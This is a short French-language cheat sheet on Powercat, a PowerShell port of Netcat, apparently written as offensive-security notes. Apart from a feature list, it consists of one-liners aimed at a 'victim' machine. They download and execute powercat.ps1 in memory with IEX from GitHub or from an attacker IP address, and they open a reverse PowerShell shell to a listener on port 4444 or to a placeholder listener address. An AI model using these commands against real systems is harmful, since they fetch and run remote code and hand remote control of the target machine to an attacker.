Powershell
Powercat
Powercat est une implémentation Powershell de l’outil Netcat. Elle a environ les mêmes fonctionnalités:
- Connexion UDP/TCP basique
- Transfert de fichier
- Obtention de shell (direct et reverse)
Transfert de powercat sur la victime
# Rapatriement sans exécution
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
# Exécution directe
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.218/powercat.ps1');powercat -c 192.168.45.218 -p 4444 -e powershell
Création d’un reverse shell (powershell)
powercat -c $LISTENER_IP -p $LISTENER_PORT -ep
Ressources :